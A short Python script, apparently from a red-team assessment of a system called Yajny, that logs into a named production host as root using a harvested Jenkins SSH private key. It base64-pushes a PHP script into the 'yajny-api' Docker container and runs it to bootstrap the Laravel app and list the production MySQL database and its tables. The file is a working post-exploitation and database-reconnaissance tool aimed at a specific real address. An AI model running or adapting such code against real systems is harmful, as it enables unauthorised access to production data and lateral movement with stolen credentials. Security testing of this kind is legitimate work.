#!/usr/bin/env python3
"""Query Yajny production MySQL via docker exec + PHP bootstrap.
Reads DB creds from .env, connects through app layer (no network egress).
"""
import subprocess
import base64
import sys

HOST = "root@46.101.74.150"
KEY = "/root/ir-assessment/redteam/yajny/L3/ssh_keys/jenkins-host-id_rsa.pem"
CONTAINER = "yajny-api"

PHP_SCRIPT = r'''<?php
require "/var/www/html/vendor/autoload.php";
$app = require "/var/www/html/bootstrap/app.php";
$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);
$kernel->bootstrap();

echo "===DB_NAME===\n";
echo DB::connection()->getDatabaseName() . "\n";

echo "===TABLES===\n";
$tables = DB::select("SHOW TABLES");
foreach($tables as $t) {
    foreach($t as $val) echo $val . "\n";
}
echo "===TABLE_COUNT===\n";
echo count($tables) . "\n";
?>'''

def run_query(script):
    # Base64 encode to avoid shell escaping issues
    b64 = base64.b64encode(script.encode()).decode()
    # Write script via docker cp (base64 decode on host)
    cmds = [
        ["ssh", "-i", KEY, "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=accept-new",
         HOST, f"echo {b64} | base64 -d > /tmp/yq.php && docker cp /tmp/yq.php {CONTAINER}:/tmp/yq.php && docker exec {CONTAINER} php /tmp/yq.php && rm /tmp/yq.py /tmp/yq.php 2>/dev/null; rm /tmp/yq.php 2>/dev/null"]
    ]
    r = subprocess.run(cmds[0], capture_output=True, text=True, timeout=60)
    return r.stdout, r.stderr, r.returncode

if __name__ == "__main__":
    out, err, rc = run_query(PHP_SCRIPT)
    if rc != 0:
        print(f"[!] rc={rc}", file=sys.stderr)
        print(err, file=sys.stderr)
    print(out)